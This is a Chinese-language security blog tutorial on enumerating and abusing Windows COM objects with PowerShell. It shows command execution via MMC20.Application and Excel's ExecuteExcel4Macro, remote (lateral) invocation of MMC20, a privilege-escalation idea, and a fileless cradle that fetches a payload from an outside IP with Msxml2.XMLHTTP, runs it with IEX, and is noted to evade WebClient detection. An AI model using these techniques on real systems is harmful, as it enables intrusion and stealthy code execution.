COM接口学习与利用
何为COM
OM component(COM组件)是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。在COM构架下,人们可以开发出各种各样的功能专一的组件,然后将它们按照需要组合起来,构成复杂的应用系统。由此带来的好处是多方面的:可以将系统中的组件用新的替换掉,以便随时进行系统的升级和定制;可以在多个应用系统中重复利用同一个组件;可以方便的将应用系统扩展到网络环境下;COM与语言,平台无关的特性使所有的程序员均可充分发挥自己的才智与专长编写组件模块。
找了篇文章编写了一个COM接口
参考链接:https://www.cnblogs.com/xiaokang088/archive/2011/05/16/2047376.html
COM接口里有个calc函数
生成DLL后,用regsvr32注册完后,可以在HKEY_CLASSES_ROOT\CLSID\下可以见到注册好的dll
使用powershell可以查询对应COM的可用函数
$obj =[activator]::CreateInstance([type]::GetTypeFromCLSID("20CE411F-4415-4017-B797-66AE3B8C9A4D")) #枚举对于appid可用的函数
$obj | get-member
调用对应COM接口的函数
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("20CE411F-4415-4017-B797-66AE3B8C9A4D"))
$handle.calc()
注册表路径说明
HKEY_CLASSES_ROOT\CLSID 所有COM接口对应的CLSID都在这个项或子项下
CLSID项下场见的子项
* lnprocServer32
* TypeLib
* version
* progID
lnprocServer32写着这个COM接口处理的dll
InprocServer32写着接口的信息/版本
枚举机器上所有的CLSID
指定类名为WIN32_DCOMApplication
Get-CimInstance -ClassName WIN32_DCOMApplication
Get-CimInstance (简写:Get-cim)作用:从CIM服务器获取类的CIM实例
CIM:公共信息模型(CIM)是用于描述受管理资源(如存储,网络或软件组件)的结构和行为的DMTF标准[DSP0004]。
查询指定CLSID可用函数
$obj =[activator]::CreateInstance([type]::GetTypeFromCLSID("C5EDFC9D-B018-41A4-9877-39AB18469C3A"))
$obj | get-member
快速提起所有CLSID和对应的CLSID里的函数
Get-CimInstance -ClassName WIN32_DCOMApplication | Select-Object appid | out-file clsids.txt
$Position = 1
$Filename = "win10-clsid-members.txt"
$inputFilename = "clsids.txt"
ForEach($CLSID in Get-Content $inputFilename) {
Write-Output "$($Position) - $($CLSID)"
Write-Output "------------------------" | Out-File $Filename -Append
Write-Output $($CLSID) | Out-File $Filename -Append
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
$handle | Get-Member | Out-File $Filename -Append
$Position += 1
}
(Method为方法,Property为参数设置之类的)
枚举某个Application
$obj =[activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$obj | Get-Member
属性继续枚举
$obj =[activator]::CreateInstance([type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889"))
$obj.Document | Get-Member
寻找可利用的COM接口
对应的CLSID是MMC.exe(那么是否代表着系统自带的程序可以执行命令的话,可以找找一个COM接口的函数),如果是不开源的话只能用IDA或Oleview.exe反编译了
COM接口里枚举出来的函数(如果是微软公开的话)可以到:https://docs.microsoft.com/en-us/search/?dataSource=previousVersions&terms= 搜索
例如:ExecuteShellCommand https://docs.microsoft.com/en-us/previous-versions/windows/desktop/mmc/view-executeshellcommand
调用函数(注意:如果注册表查询CLSID子项带有ProgID的话需要指定ProgID调用方法或属性)
$handle = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1"))
$handle.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")
思考:能不能通过微软文档搜索比如什么:Exec,command,file.urldownload这些函数,如果找的到在CLSID项里搜索对应的exe/dll,然后调用呢。或在HKEY_CLASSES_ROOT\CLSID下寻找有ProgID的子项CLSID,寻找可利用项。为什么要找带有ProgID子项的CLSID?因为这些一般都是系统自带的
利用COM接口
可以根据对应COM接口枚举出的函数名进行分析,或者猜解。例如
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("00020906-0000-0000-C000-000000000046"))
$handle.ExecuteExcel4Macro("EXEC(""calc.exe"")")
比如,F5078F35-C551-11D3-89B9-0000F81FE221}这个COM对象(Msxml2.XMLHTTP.3.0)对外提供了一个XML HTTP 3.0功能,可以用来下载任意代码并执行,无需将payload写入磁盘,也不会触发基于System.Net.WebClient的常用检测规则。XML HTTP 3.0对象通常用来发起AJAX请求。在这种情况下,获取数据的方式非常简单,直接使用Invoke-Expression cmdlet(IEX)即可。
$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));
$o.Open("GET", "http://192.168.1.106/payload.txt", $False);
$o.Send();
IEX $o.responseText;
对应的open函数反汇编
文章里有用 Oleview.exe进行对dll的反编译,也有用IDA对指定DLL的函数进行分析。需要一定的基础进行分析
COM的利用方式:
* 寻找COM接口对应注册表的lnprocServer32缺少的dll/exe替换进行提权
* 利用COM接口远程调用
COM远程利用:
$handle = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.113.130"))
$handle.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")
参考链接:
https://www.cnblogs.com/xiaokang088/archive/2011/05/16/2047376.html
https://www.anquanke.com/post/id/217928
https://www.anquanke.com/post/id/179927
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:COM接口学习与利用
本文作者:九世
发布时间:2020-10-03, 01:03:33
最后更新:2020-10-03, 01:18:51
原始链接:http://jiushill.github.io/posts/ed9cc210.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。